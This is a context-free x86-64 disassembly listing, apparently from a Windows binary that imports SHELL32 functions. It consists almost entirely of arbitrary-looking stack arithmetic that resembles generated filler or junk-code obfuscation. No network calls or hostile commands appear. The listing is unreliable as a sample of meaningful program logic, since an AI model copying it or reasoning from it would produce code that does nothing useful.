mov ecx, dword [rsp + 0x69c4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6a2c], eax
mov rax, qword [rsp + 0xc158]
movzx eax, byte [rax]
mov byte [0x1402c90b6], al
lea rax, [rsp + 0x1530]
mov qword [rsp + 0xc838], rax
mov rax, qword [rsp + 0xc680]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbc10]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc478]
mov word [rcx], ax
mov rax, qword [rsp + 0xc2b8]
movzx eax, byte [rax]
mov byte [rsp + 0xb4], al
movzx eax, byte [rsp + 0x82]
mov rcx, qword [rsp + 0xc228]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbd30]
mov byte [rcx], al
mov rax, qword [rsp + 0xbf98]
mov rcx, qword [rsp + 0xc3a0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc360], rax
lea rax, [rsp + 0xbd60]
mov qword [rsp + 0xc840], rax
mov rax, qword [rsp + 0xbab0]
mov ecx, dword [rsp + 0x69e8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6a80], eax
mov eax, dword [rsp + 0x6a1c]
mov dword [rsp + 0x6af4], eax
mov rax, qword [rsp + 0xba20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15f8]
shl eax, cl
mov word [0x1402c74b8], ax
mov rax, qword [0x1402c9100]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xba80]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xbd70]
mov byte [rcx], al
movsx eax, word [rsp + 0x16b8]
movsx ecx, word [rsp + 0x15b8]
add eax, ecx
mov word [rsp + 0x15d4], ax
mov rax, qword [rsp + 0xbb50]
movzx eax, byte [rax]
mov byte [rsp + 0xb5], al
movzx eax, byte [0x1402c90a4]
mov rcx, qword [rsp + 0xc590]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6e], al
lea rax, [rsp + 0xc340]
mov qword [rsp + 0xc848], rax
mov eax, dword [rsp + 0x6994]
mov ecx, dword [rsp + 0x6900]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x69f4], eax
mov rax, qword [rsp + 0xc0c0]
mov rcx, qword [0x1402c7490]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb9b0], rax
lea rax, [rsp + 0x6a24]
mov qword [rsp + 0xc850], rax
mov rax, qword [rsp + 0xbd08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8a]
sub eax, ecx
mov byte [0x1402c74c2], al
movsx eax, word [rsp + 0x1690]
movsx ecx, word [rsp + 0x1604]
add eax, ecx
mov rcx, qword [rsp + 0xc600]
mov word [rcx], ax
mov rax, qword [rsp + 0xc618]
movzx eax, byte [rax]
mov byte [rsp + 0xb6], al
mov rax, qword [rsp + 0xc3a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbf08]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x162c], ax
movzx eax, word [rsp + 0x1640]
mov word [rsp + 0x16e0], ax
mov rax, qword [rsp + 0xbdb8]
mov ecx, dword [rsp + 0x69a0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6a9c], eax
mov rax, qword [rsp + 0xc650]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc460]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc110]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbdc8]
mov qword [rsp + 0xc858], rax
mov rax, qword [rsp + 0xc290]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a00]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6aa0], eax
movzx eax, byte [rsp + 0x8c]
mov byte [rsp + 0xb7], al
mov rax, qword [rsp + 0xbd10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1628]
xor eax, ecx
mov word [0x1402c74e8], ax
mov rax, qword [rsp + 0xbcb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1618]
or eax, ecx
mov rcx, qword [rsp + 0xc098]
mov word [rcx], ax
mov rax, qword [rsp + 0xc020]
movsx eax, byte [rax]
cdq
mov ecx, ILRemoveLastID
idiv ecx
mov byte [rsp + 0x71], al
mov rax, qword [rsp + 0xc3d8]
movzx eax, word [rax]
mov word [rsp + 0x16e4], ax
mov rax, qword [rsp + 0xbdd8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x69a4]
shl eax, cl
mov dword [rsp + 0x69a0], eax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov qword [rsp + 0xc860], rax
mov eax, dword [rsp + 0x6a88]
movzx ecx, al
mov eax, dword [rsp + 0x6a20]
shr eax, cl
mov rcx, qword [rsp + 0xc5d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc660]
mov rcx, qword [rsp + 0xbe78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbcf8]
mov qword [rcx], rax
movzx eax, byte [0x1402c74b2]
mov byte [rsp + 0xb8], al
movzx eax, byte [rsp + 0xb7]
mov rcx, qword [rsp + 0xc7d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1402c9198]
mov byte [rcx], al
movsx eax, word [rsp + 0x157c]
mov rcx, qword [rsp + 0xc088]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x16a8], ax
mov rax, qword [rsp + 0xc0f0]
movzx eax, byte [rax]
mov byte [rsp + 0xb9], al
movzx eax, word [rsp + 0x1554]
mov rcx, qword [rsp + 0xc7e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x15dc], ax
mov eax, dword [rsp + 0x6abc]
mov dword [rsp + 0x6af8], eax
mov rax, qword [0x1402c7490]
mov rcx, qword [rsp + 0xbce0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc7c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc620]
mov rcx, qword [rsp + 0xc4b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6a64], eax
lea rax, [rsp + 0xc160]
mov qword [rsp + 0xc868], rax
movsx eax, byte [reloc.SHELL32.dll_ILCombine]
mov rcx, qword [rsp + 0xbc70]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x57], al
lea rax, [rsp + 0x1598]
mov qword [0x1402c9268], rax
lea rax, [rsp + 0x74]
mov qword [rsp + 0xc870], rax
movzx eax, word [rsp + 0x1584]
movzx ecx, word [rsp + 0x15fc]
sub eax, ecx
mov word [rsp + 0x16d8], ax
movzx eax, word [rsp + 0x16c4]
mov rcx, qword [rsp + 0xbd90]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15d0], ax
lea rax, [rsp + 0x69dc]
mov qword [rsp + 0xc878], rax
mov eax, dword [rsp + 0x6a9c]
mov ecx, dword [rsp + 0x69f8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc6f0]
mov dword [rcx], eax
lea rax, [rsp + 0xbcc0]
mov qword [rsp + 0xc880], rax
mov rax, qword [rsp + 0xc1f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc1b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc720]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc368]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb6]
or eax, ecx
mov byte [rsp + 0x9e], al
mov rax, qword [rsp + 0xbdb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xba98]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1402c74b0], ax
mov rax, qword [rsp + 0xba78]
movzx eax, byte [rax]
mov byte [rsp + 0xba], al
movsx eax, byte [rsp + 0x6c]
mov rcx, qword [rsp + 0xbf40]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc6d8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1644]
mov word [rsp + 0x16e8], ax
movsx eax, word [rsp + 0x16bc]
movsx ecx, word [rsp + 0x15f0]
xor eax, ecx
mov rcx, qword [rsp + 0xc208]
mov word [rcx], ax
mov rax, qword [rsp + 0xbc88]
mov rcx, qword [rsp + 0xc7b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xc080]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc168]
mov qword [rsp + 0xc888], rax
mov rax, qword [rsp + 0xc880]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc1f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc328], rax
lea rax, [0x1402c7498]
mov qword [rsp + 0xc890], rax
lea rax, [rsp + 0xb5]
mov qword [0x1402c9270], rax
mov rax, qword [rsp + 0xc4b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x76]
sub eax, ecx
mov rcx, qword [rsp + 0xc818]
mov byte [rcx], al
mov rax, qword [rsp + 0xbfd0]
movzx eax, word [rax]
mov word [rsp + 0x16ec], ax
mov rax, qword [0x1402c9248]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbf88]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x162c], ax
movzx eax, byte [rsp + 0x59]
movzx ecx, byte [rsp + 0x8b]
and eax, ecx
mov rcx, qword [rsp + 0xc0f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc380]
mov eax, dword [rax]
mov dword [rsp + 0x6afc], eax
mov rax, qword [rsp + 0xbaa8]
mov rcx, qword [rsp + 0xbeb8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc488], rax
mov rax, qword [rsp + 0xc200]
mov rax, qword [rax]
mov qword [rsp + 0xc898], rax
mov eax, dword [0x1402c7498]
mov ecx, dword [rsp + 0x6ad4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6acc], eax
mov rax, qword [rsp + 0xbd28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
sub eax, ecx
mov rcx, qword [0x1402c91f0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x9b]
movsx ecx, byte [rsp + 0x57]
sub eax, ecx
mov rcx, qword [rsp + 0xbed8]
mov byte [rcx], al
lea rax, [rsp + 0x16e8]
mov qword [rsp + 0xc8a0], rax
movzx eax, byte [rsp + 0x91]
movzx ecx, byte [rsp + 0xb9]
sub eax, ecx
mov byte [rsp + 0x83], al
lea rax, [rsp + 0x155c]
mov qword [rsp + 0xc8a8], rax
mov rax, qword [rsp + 0xc808]
mov rcx, qword [rsp + 0xc848]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xbd40], rax
mov rax, qword [rsp + 0xc7a8]
movzx ecx, al
mov rax, qword [rsp + 0xc888]
shr rax, cl
mov rcx, qword [rsp + 0xc3f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc148]
mov eax, dword [rax]
mov dword [rsp + 0x6b00], eax
mov rax, qword [rsp + 0xc638]
mov ecx, dword [rsp + 0x68d4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6ab8], eax
mov rax, qword [rsp + 0xbd70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7d]
shl eax, cl
mov rcx, qword [0x1402c90d0]
mov byte [rcx], al
mov rax, qword [rsp + 0xc600]
movzx eax, word [rax]
mov word [rsp + 0x16f0], ax
mov rax, qword [0x1402c9230]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x82]
and eax, ecx
mov rcx, qword [rsp + 0xc7d0]
mov byte [rcx], al
mov rax, qword [rsp + 0xbef0]
movzx eax, word [rax]
mov word [rsp + 0x16f4], ax
movzx eax, word [rsp + 0x15e0]
imul eax, eax, 0x852
mov word [rsp + 0x16e0], ax
mov rax, qword [rsp + 0xc198]
mov rcx, qword [rsp + 0xc738]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x69e4], eax
lea rax, [rsp + 0xc500]
mov qword [rsp + 0xc8b0], rax
mov rax, qword [rsp + 0xc180]
mov rcx, qword [rsp + 0xc6f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6978], eax
lea rax, [rsp + 0xbec8]
mov qword [rsp + 0xc8b8], rax
movzx eax, word [rsp + 0x1534]
mov word [0x1402c9278], ax
mov rax, qword [rsp + 0xc350]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc5f0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc600]
mov word [rcx], ax
movsx eax, byte [rsp + 0x71]
mov rcx, qword [0x1402c90e8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7d], al
mov rax, qword [rsp + 0xbd30]
movzx eax, byte [rax]
mov byte [rsp + 0xbb], al
movzx eax, word [rsp + 0x1600]
movzx ecx, word [rsp + 0x1580]
and eax, ecx
mov rcx, qword [rsp + 0xc760]
mov word [rcx], ax
mov rax, qword [rsp + 0xbd78]
mov eax, dword [rax]
mov dword [rsp + 0x6b04], eax
mov eax, dword [rsp + 0x69d4]
mov ecx, dword [rsp + 0x6ac8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc3e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbfa8]
mov rcx, qword [rsp + 0xb9e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc718]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc068]
mov rax, qword [rax]
mov qword [rsp + 0xc8c0], rax
movsx eax, word [rsp + 0x165c]
movsx ecx, word [rsp + 0x1668]
sub eax, ecx
mov word [0x1402c74dc], ax
mov rax, qword [rsp + 0xc250]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc2b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbb80]
mov byte [rcx], al
lea rax, [rsp + 0x1674]
mov qword [rsp + 0xc8c8], rax
mov rax, qword [rsp + 0xbf40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb2]
sar eax, cl
mov rcx, qword [rsp + 0xc4f8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1534]
movzx ecx, word [rsp + 0x169c]
shl eax, cl
mov word [rsp + 0x15b0], ax
mov rax, qword [rsp + 0xc170]
mov qword [rsp + 0xc8d0], rax
mov rax, qword [rsp + 0xc0e0]
mov rcx, qword [rsp + 0xc128]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbaa8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbe18]
mov eax, dword [rax]
mov dword [rsp + 0x6b08], eax
mov eax, dword [rsp + 0x6ab8]
mov ecx, dword [0x1402c90a0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc4a8]
mov dword [rcx], eax
lea rax, [rsp + 0xb1]
mov qword [0x1402c9280], rax
lea rax, [rsp + 0xb2]
mov qword [rsp + 0xc8d8], rax
mov rax, qword [rsp + 0xbc68]
movsx eax, word [rax]
mov rcx, qword [0x1402c9130]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x16f0], ax
mov rax, qword [rsp + 0xc320]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x83]
sub eax, ecx
mov byte [rsp + 0x93], al
lea rax, [rsp + 0x1634]
mov qword [rsp + 0xc8e0], rax
mov rax, qword [0x1402c7490]
mov rcx, qword [rsp + 0xc0c0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc7c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc868]
mov rax, qword [rax]
mov qword [rsp + 0xc8e8], rax
mov rax, qword [rsp + 0xbf18]
mov rcx, qword [rsp + 0xbe18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc138]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc2c0]
mov rcx, qword [rsp + 0xbaf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc7d8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xb2]
movsx ecx, byte [rsp + 0x7b]
add eax, ecx
mov byte [0x1402c74c3], al
mov rax, qword [rsp + 0xc7d0]
movzx eax, byte [rax]
mov byte [rsp + 0xbc], al
mov rax, qword [0x1402c9150]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1670]
and eax, ecx
mov rcx, qword [rsp + 0xbe90]
mov word [rcx], ax
movzx eax, byte [rsp + 0xb0]
mov byte [rsp + 0xbd], al
mov rax, qword [rsp + 0xc2f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16e4]
sub eax, ecx
mov word [rsp + 0x1638], ax
mov rax, qword [rsp + 0xbb38]
mov rcx, qword [rsp + 0xbf58]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc1b0], rax
lea rax, [rsp + 0x6a54]
mov qword [rsp + 0xc8f0], rax
mov rax, qword [rsp + 0xbf80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc500]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbed0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6a18]
mov dword [rsp + 0x6b0c], eax
movsx eax, word [rsp + 0x1614]
mov rcx, qword [rsp + 0xc208]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x15c4], ax
movzx eax, word [rsp + 0x159c]
movzx ecx, word [rsp + 0x1624]
xor eax, ecx
mov rcx, qword [0x1402c90f8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xbc]
mov rcx, qword [rsp + 0xbc78]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc870]
mov byte [rcx], al
lea rax, [rsp + 0x73]
mov qword [rsp + 0xc8f8], rax
mov rax, qword [rsp + 0xc7e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15e0]
shl eax, cl
mov word [rsp + 0x1620], ax
mov rax, qword [rsp + 0xbca8]
mov rax, qword [rax]
mov qword [rsp + 0xc900], rax
mov rax, qword [rsp + 0xbfa0]
mov rcx, qword [rsp + 0xc0b0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xc808]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6a64]
mov dword [rsp + 0x6b10], eax
mov eax, dword [rsp + 0x6ab0]
mov ecx, dword [rsp + 0x68a0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbe68]
mov dword [rcx], eax
movsx eax, word [rsp + 0x156c]
movsx ecx, word [rsp + 0x15d8]
sub eax, ecx
mov word [rsp + 0x1544], ax
movsx eax, byte [rsp + 0xb2]
mov rcx, qword [0x1402c9100]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1402c90d0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1688]
mov word [rsp + 0x16f8], ax
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1650]
add eax, ecx
mov word [rsp + 0x15ac], ax
lea rax, [rsp + 0xbb]
mov qword [rsp + 0xc908], rax
mov rax, qword [rsp + 0xbe10]
mov rcx, qword [rsp + 0xc540]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc830]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbec0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc0c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc860], rax
mov rax, qword [rsp + 0xbc00]
mov eax, dword [rax]
mov dword [rsp + 0x6b14], eax
mov rax, qword [rsp + 0xc840]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc6d0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbe60]
mov qword [rcx], rax
lea rax, [rsp + 0x66]
mov qword [rsp + 0xc910], rax
lea rax, [rsp + 0xa1]
mov qword [0x1402c9288], rax
mov rax, qword [0x1402c9148]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc2e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbe58]
mov byte [rcx], al
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbf68]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc5b8]
mov word [rcx], ax
lea rax, [rsp + 0x85]
mov qword [rsp + 0xc918], rax
mov rax, qword [rsp + 0xc748]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69a8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a48], eax
mov rax, qword [rsp + 0xc6b0]
mov eax, dword [rax]
mov dword [rsp + 0x6b18], eax
mov rax, qword [rsp + 0xbed0]
mov rcx, qword [rsp + 0xb9b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc750], rax
lea rax, [rsp + 0xbb70]
mov qword [rsp + 0xc920], rax
mov rax, qword [rsp + 0xc070]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16c4]
cdq
idiv ecx
mov rcx, qword [rsp + 0xc4e0]
mov word [rcx], ax
movsx eax, word [rsp + 0x15f4]
mov rcx, qword [rsp + 0xbd98]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1402c74c8], ax
movsx eax, byte [0x1402c74b2]
movsx ecx, byte [rsp + 0xa7]
add eax, ecx
mov rcx, qword [rsp + 0xc318]
mov byte [rcx], al
lea rax, [rsp + 0x94]
mov qword [rsp + 0xc928], rax
mov rax, qword [rsp + 0xc440]
movsx eax, word [rax]
mov rcx, qword [0x1402c9240]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xba90]
mov word [rcx], ax
mov rax, qword [rsp + 0xc5e0]
movzx eax, word [rax]
mov word [rsp + 0x16fc], ax
mov eax, dword [rsp + 0x69fc]
mov ecx, dword [rsp + 0x68b0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc4b8]
mov dword [rcx], eax
mov rax, qword [0x1402c7490]
mov rcx, qword [rsp + 0xc538]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbe00]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbdd0]
mov rax, qword [rax]
mov qword [rsp + 0xc930], rax
mov rax, qword [rsp + 0xbe68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a00]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x69e4], eax
movzx eax, byte [rsp + 0xbb]
mov rcx, qword [0x1402c91b0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c74c6], al
movzx eax, word [rsp + 0x15e0]
mov word [rsp + 0x1700], ax
mov rax, qword [rsp + 0xc4f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7d]
add eax, ecx
mov byte [rsp + 0x87], al
mov rax, qword [rsp + 0xc590]
movzx eax, byte [rax]
mov rcx, qword [0x1402c9280]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x65], al
mov rax, qword [rsp + 0xc3c0]
movzx eax, byte [rax]
mov byte [rsp + 0xbe], al
mov rax, qword [rsp + 0xc0c8]
mov rcx, qword [rsp + 0xc1b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc3b0], rax
mov eax, dword [rsp + 0x6adc]
mov dword [rsp + 0x6b1c], eax
mov rax, qword [rsp + 0xbca8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbf38]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc8b0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6a00]
mov rcx, qword [rsp + 0xc878]
mov qword [rsp + 0xc938], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc938]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6afc], eax
mov rax, qword [0x1402c9178]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15dc]
or eax, ecx
mov word [0x1402c9120], ax
mov rax, qword [rsp + 0xbd58]
movzx eax, byte [rax]
mov byte [rsp + 0xbf], al
mov rax, qword [rsp + 0xc908]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc050]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xbc78]
mov byte [rcx], al
lea rax, [0x1402c74a8]
mov qword [rsp + 0xc940], rax
mov rax, qword [rsp + 0xbc80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc8a0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc600]
mov word [rcx], ax
mov rax, qword [rsp + 0xbfd8]
mov rax, qword [rax]
mov qword [rsp + 0xc948], rax
mov rax, qword [rsp + 0xc380]
mov rcx, qword [rsp + 0xc5d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x69e4], eax
mov rax, qword [rsp + 0xc038]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x69bc], eax
lea rax, [rsp + 0xbe38]
mov qword [rsp + 0xc950], rax
mov rax, qword [0x1402c9210]
movzx eax, byte [rax]
mov byte [0x1402c90b7], al
movzx eax, word [rsp + 0x160c]
movzx ecx, word [rsp + 0x16d4]
imul eax, ecx
mov rcx, qword [rsp + 0xc108]
mov word [rcx], ax
mov rax, qword [rsp + 0xc4f8]
movzx eax, byte [rax]
mov byte [rsp + 0xc0], al
mov rax, qword [rsp + 0xc5c8]
movsx eax, word [rax]
mov rcx, qword [0x1402c9158]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc5f0]
mov word [rcx], ax
movsx eax, word [rsp + 0x1548]
mov rcx, qword [rsp + 0xc758]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbde0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc628]
mov eax, dword [rax]
mov dword [rsp + 0x6b20], eax
mov rax, qword [rsp + 0xc790]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbe28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb9d8], rax
lea rax, [rsp + 0xbd00]
mov qword [rsp + 0xc958], rax
mov rax, qword [rsp + 0xc638]
mov ecx, dword [rsp + 0x6a2c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc010]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc350]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbde0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1402c91d8], ax
mov rax, qword [rsp + 0xc3a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc070]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbe90]
mov word [rcx], ax
mov rax, qword [rsp + 0xbe20]
movzx eax, byte [rax]
mov byte [rsp + 0xc1], al
mov rax, qword [rsp + 0xc1e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb3]
sub eax, ecx
mov byte [rsp + 0x8d], al
movzx eax, word [rsp + 0x1564]
mov word [rsp + 0x1704], ax
mov rax, qword [rsp + 0xc950]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbd20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc8e8], rax
lea rax, [0x1402c7498]
mov qword [rsp + 0xc960], rax
mov rax, qword [rsp + 0xc198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a94], eax
mov rax, qword [rsp + 0xbf50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc348]
mov qword [rsp + 0xc968], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc968]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xc5a0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x7c]
mov rcx, qword [rsp + 0xc8f8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1402c74c7], al
mov rax, qword [rsp + 0xc2e8]
movzx eax, byte [rax]
mov byte [rsp + 0xc2], al
mov rax, qword [rsp + 0xc910]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb3]
or eax, ecx
mov byte [rsp + 0x6c], al
lea rax, [0x1402c74c4]
mov qword [rsp + 0xc970], rax
movzx eax, word [rsp + 0x1538]
movzx ecx, word [rsp + 0x1640]
shl eax, cl
mov rcx, qword [rsp + 0xbd80]
mov word [rcx], ax
mov rax, qword [rsp + 0xbdd8]
mov rcx, qword [rsp + 0xc6f0]
mov eax, dword [rax]
imul eax, dword [rcx]
mov rcx, qword [rsp + 0xc4b8]
mov dword [rcx], eax
lea rax, [rsp + 0x6a50]
mov qword [rsp + 0xc978], rax
mov rax, qword [rsp + 0xc7a0]
mov rcx, qword [rsp + 0xc0c0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xbf10]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc150]
mov rax, qword [rax]
mov qword [rsp + 0xc980], rax
lea rax, [rsp + 0x6f]
mov qword [0x1402c9290], rax
movzx eax, byte [rsp + 0x9f]
movzx ecx, byte [rsp + 0x9a]
add eax, ecx
mov rcx, qword [rsp + 0xc320]
mov byte [rcx], al
mov rax, qword [rsp + 0xbea8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov byte [rsp + 0x71], al
movzx eax, word [0x1402c9168]
mov word [rsp + 0x1708], ax
movsx eax, word [rsp + 0x16a8]
movsx ecx, word [rsp + 0x167c]
and eax, ecx
